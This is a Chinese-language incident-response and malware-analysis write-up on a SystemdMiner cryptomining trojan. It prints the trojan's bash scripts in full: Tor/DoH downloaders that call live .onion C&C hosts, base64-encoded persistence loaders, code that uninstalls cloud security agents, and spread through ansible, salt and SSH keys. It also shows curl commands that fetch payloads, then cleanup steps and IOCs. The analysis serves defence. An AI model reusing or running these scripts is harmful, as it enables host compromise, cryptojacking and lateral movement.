實戰|記錄一次挖礦木馬的分析與處置過程
SystemedMiner挖礦木馬分析處置
登陸到受害主機去查看一下,查看下進程CPU使用率正常,并無挖礦跡象

(要注意的是區分系統進程和木馬進程,因為很多木馬的進程都是以隨機字符名稱出現的,例如kswapd1和kswapd0也比較類似,但是這兩個進程是系統進程,所以不要混淆,在刪進程前要先查詢一下其作用,其實如果挖礦進程在跑的話,很容易便會發現其進程PID和名稱)
通常挖礦木馬都會去寫一個計劃任務,來防止挖礦進程被刪掉,這里看了一位大師傅的溯源分析,提到了cron在執行時,會讀取三個地方的配置文件:一是/etc/crontab,二是/etc/cron.d目錄下的所有文件,三是每個用戶的配置文件,所以挖礦木馬可能會有多個定時任務存在
crontab -l

ls /etc/cron.d/

發現其文件名稱都包含uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,直接匹配關鍵字也可以
find / 2>/dev/null | grep uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
服務器中存在兩個定時任務,查看一下里面的內容兩個文件內容一致,且內容為base64編碼,先對其進行解碼處理,而且virustotal判斷為惡意文件

分析一下:
uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
exec &>/dev/null #不輸出出錯和輸出信息
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
#獲取當前用戶的家目錄
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
#獲取執行命令
c=$(echo "curl -4fsSLkA- -m200")
#C&C域名為fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.*
t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")
sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.in
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|tail -1)
}
#在幾個目錄路徑里尋找一個有讀寫權限的路徑
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-) #用當前時間生成 md5 碼
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab計劃任務執行
#下載病毒母體,隨機方式進行命名,通過socket5的方式用relay.tor2socks.in代理訪問C&C域名
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
#若代理失效,則可采用后面的方法
#例如:curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75
chmod +x $x;$x;rm -f $x#運行后刪除病毒文件
}
for h in tor2web.in tor2web.it
do
#檢查木馬是否存在,若不存在則調用fexe測試執行,接著調用u $t.$h 進行木馬文件的下載
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
#再次查看進程狀態,若沒有繼續下載木馬
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
sockz()函數通過doh查詢IP,通過這種方法既可以提供加密保護dns查詢結果,又可以繞過各大廠商IDS里惡意域名的IOC
https://doh.pub/dns-query?name=relay.tor2socks.in

經過分析,這個樣本的執行的總體流程如下:
- doh解析域名獲取tor代理IP
- 查找目標主機可讀寫的路徑
- 通過tor代理在C&C服務器上下載與目標主機硬件版本相匹配的惡意文件
- 開啟crontab計劃任務并執行
- 根據pid文件返回腳本執行結果并進行判斷
根據這個樣本的特征查了下資料,發現和SystemdMiner挖礦木馬比較類似,特點如下:
- 訪問帶有
tor2web、onion字符串的域名 - 在/tmp目錄下有
systemd*的文件 - 還有就是中轉域名
relay.tor2socks.in被微步判定為SystemdMiner挖礦僵尸網絡

并且這個SystemdMiner是一個變種,除了更新了C&C域名,還使用了socks5代理的方式去訪問C&C域名從而實現繞過安全網關的目的,其余的特征與以往其他版本類似,通過上面的分析,知道該腳本會將內容寫入到/tmp/.X11-unix/文件夾,里面存放著的是進程PID

通過PID找一下病毒文件位置
ls -l /proc/{PID}/exe
發現病毒文件已經都被刪除,查看一下00、01這些文件是什么時間創建的,可以對比一下其他機器的時間,找出最早的時間,方便后面的溯源

看了許多師傅們分析的文章,.X11-unix文件夾下的文件作用如下:
01文件守護進程pid11文件病毒運行進程pid22文件可能為SSH爆破進程pid
查看一下01和11的進程狀態
1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status 2.ps -ef|grep 13485 3.lsof -p 13485
01通過 lsof 判斷,沒有發現有外連或打開端口的現象

再查看11的進程狀態,發現有外連

但是較為奇怪的是,攻擊者只是上傳了一個守護進程,找不到下載的病毒文件,CPU也沒有異常,為了防止出現問題,還是先將定時任務以及進程先殺掉,接下來將病毒文件下載起來在虛擬機執行一下。
虛擬機執行測試
先按照守護進程下載病毒文件的方式,將病毒文件下載起來
$ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75

執行一下該ELF文件,發現crotab定時任務增加了新的一項任務,且root目錄下生成了該任務所指向的新的腳本文件

查看一下該腳本文件
#!/bin/bash
FBGJOndscVOU2PKZGWF8C6kibWnyHLP
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad")
#C&C服務器域名前綴不同
sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|tail -1)
}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
這個腳本和之前服務器存在的那個守護進程腳本功能相同,但和上面服務器的那個腳本對比一下也會發現有兩處不同的地方:
- 新腳本文件的
C&C服務器域名前綴與前面的不同 - 代碼前的字符串不同,之前服務器上的是
uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,而新的腳本文件中則是FBGJOndscVOU2PKZGWF8C6kibWnyHLP,與文件名相同
對該字符串進行一次全局搜索
find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP

發現三個定時任務,查看了一下內容都一致,應該是作為備份文件以防其中某一個被刪
查看了深信服千里目安全實驗室的文章和此類情況類似,可以從病毒母體ELF文件中逆向分析出5個不同的bash命令,若tor代理可用則可以使用下面的方法去下載出各個模塊
curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd
但由于目前還不會IDA逆向調試,而且tor代理IP拒絕連接(用|后面那種方法下載的文件的內容也都是下載SSH爆破腳本,如果繼續下載的話也是無法訪問),就先使用師傅扒出來源碼學習一下

逆向分析后,可以發現有五個base64編碼,分別用于下載不同模塊和執行不同的功能,功能如下:
- 本機持久化:
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
x() {
if ! ls $d/.systemd-private-*.sh; then
grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bashexec &>/dev/nullecho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKuecho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
touch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
chmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
fi
if ! ls /opt/systemd-private-*.sh; then
grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "與上面內容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
touch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
chmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
fi
if ! ls /etc/cron.d/0systemd-private-*; then
grep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
touch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
fi
if ! crontab -l | grep ^[0-9] | grep systemd-private; then
(echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab -
fi
}
這段代碼便是創建定時任務,這段代碼共創建三個定時任務
/etc/cron.d/0systemd-private-*/opt/systemd-private-*/root/systemd-private-*
而其中的base64代碼的任務便是下載母體木馬int文件,和上面的守護進程內容一致
- 競爭對手清理:這個腳本的主要作用便是清除服務器上其他的挖礦木馬,改寫hosts文件讓其他挖礦無法訪問對應的域名,但是經過查詢虛擬機的hosts文件,并沒有發現被修改(應該是兩種方法下載模塊和腳本都失效了,沒有下載對應的腳本和模塊)

- 內網傳播
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad")
sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|head -n 1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
isys() {
#寫入定時任務,并且卸載assist-daemon(阿里云)、qcloud(騰訊云)的入侵檢測系統
echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bash
crontab -l || yum -y install cron
crontab -l || yum -y install cronie
crontab -l || apt-get update && apt-get -y install cron
/usr/local/share/assist-daemon/assist_daemon --stop
/usr/local/share/assist-daemon/assist_daemon --delete
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/etc/init.d/aegis uninstall
systemctl stop aliyun
systemctl disable aliyun
systemctl start cron
systemctl enable cron
systemctl start crond
systemctl enable crond
rm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service
}
issh() {
#利用自動化運維工具ansible、salt、pssh、knife寫入定時任務
ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'
knife ssh 'name:*' 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
salt '*' cmd.run 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
pssh 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
#從bash的歷史ssh記錄中嘗試去登錄遠程設備
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq)
for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root $h 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '與上面的base64編碼一致,都是守護進程|base64 -d|bash';done
}
ibot() {
f=/bot
r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 -e$r $t.onion$f || $c -e$r $1$f
}
iscn() {
pkill -9 -f tracepath
f=/trc
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}
sockz
fexe
isys
issh &
ibot $t.tor2web.in || ibot $t.tor2web.it
iscn $t.tor2web.in || iscn $t.tor2web.it
這個腳本的作用是先將阿里云和騰訊云的入侵檢測系統給卸載掉,然后再利用自動化運維工具寫入定時任務,最后就是下載兩個可執行文件,一個是bot,一個是trc,其中trc文件用于Hadoop Yarn未授權訪問漏洞利用(內網橫向移動)
- 下載挖礦文件cpu
病毒母體執行后會下載cpu腳本,以進行挖礦,手動下載一下試試看:
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o cpu -e183.134.110.75

手動執行挖礦腳本的時候要先解除文件的鎖定chattr -i cpu,再賦權限運行

但是在本地也沒有運行起來,缺失一些配置文件,可能是因為前面的模塊有的沒有下載導致。
- 狀態控制
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")
sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|head -n 1)
}
u() {
sockz
f=/cmd
$c -x socks5h://$s:9050 $t.onion$f || $c $1$f
}
(
u $t.tor
病毒母體執行后會下載cmd腳本,用于當主機網絡無法連接到礦池時,會結束掉自身的挖礦進程,增強隱蔽性,但是tor代理失效,暫時無法下載
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o cmd -e183.134.110.75
如果用這種方法下載的話,很奇怪會得到下載ssh暴力破解的腳本,腳本內容也無法進行下載查看

歸納梳理
該木馬通過bash命令下載執行多個功能模塊,通過SSH暴力破解、SSH免密登錄利用、Hadoop Yarn未授權訪問漏洞和自動化運維工具內網擴散,且該木馬的文件下載均利用暗網代理,感染后會清除主機上的其他挖礦木馬,以達到資源獨占的目的

通過看師傅們的博客和自己的測試,對目前這個SystemedMiner挖礦木馬也有了一定的了解,木馬執行后,會下載一系列的模塊和可執行腳本,用于持久化、內網橫向滲透、挖礦、命令控制、清除一些入侵檢測系統和其他挖礦程序,但需要使用tor代理,之所以服務器和虛擬機只有持久化的腳本(守護進程腳本),就是因為病毒母體啟動后,tor代理失效,無法下載其他模塊和腳本,也就只有一個守護進程腳本。
處置方法
在了解了SystemedMiner挖礦木馬感染機器的過程后,防護便一目了然了,它做的主機持久化控制便是通過寫定時任務,而定時任務是下載病毒母體并執行,就這樣循環來控制主機,所以要清除該病毒文件的話:
- 第一步便是要將定時任務刪除完,通過
crontab -e移除/root/systemd-private-*,然后再刪除/etc/cron.d/0systemd-private-*和/opt/systemd-private-*.sh文件 - 再去查看
/tmp/.X11-unix/文件下01、11獲取其PID,使用kill -9 進程id,殺死進程 - 更改文件夾權限,再不清楚攻擊者從哪里進來的時候,
/tmp/.X11-unix/這個文件夾可以進行保留,防止黑客重新寫入,但要設置好權限,若服務器中運行了其他的一些模塊和腳本,殺相關進程和文件,重復上面的方法即可
#chattr +i [file/directory]使file/directory無法被更動 chattr +i /tmp/.X11-unix/01 或 chmod -R 000 /tmp/.X11-unix/01 #查看文件夾權限 ls -ld /tmp/.X11-unix/
需要注意的一點是:

這些文件夾其實是系統自帶的,主要作用是存儲臨時文件,只是該挖礦木馬利用了這個可讀可寫的權限,將內容放在里面,在進行清理和溯源的時候要注意區別。
IOCS
守護進程樣本hash:
MD5 d61b3ba654ad546cc49d5ace7de0e309
SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3
SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4
遠控樣本(int.x86_64)hash:
MD5 7308d194a75c13e464d4a8cc8094bca7
SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12
SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it ——C&C域名
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in ——C&C域名
參考文章
https://www.freebuf.com/articles/system/233138.html
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=144683
https://www.freebuf.com/articles/system/225146.html
https://hksanduo.github.io/2021/11/08/2021-11-08-systemd-miner-analysis/
https://www.freebuf.com/articles/web/279000.html
https://zhuanlan.zhihu.com/p/370493577
https://www.codenong.com/cs106872151/cl
http://les1ie.com/2021/07/12/tor-miner/
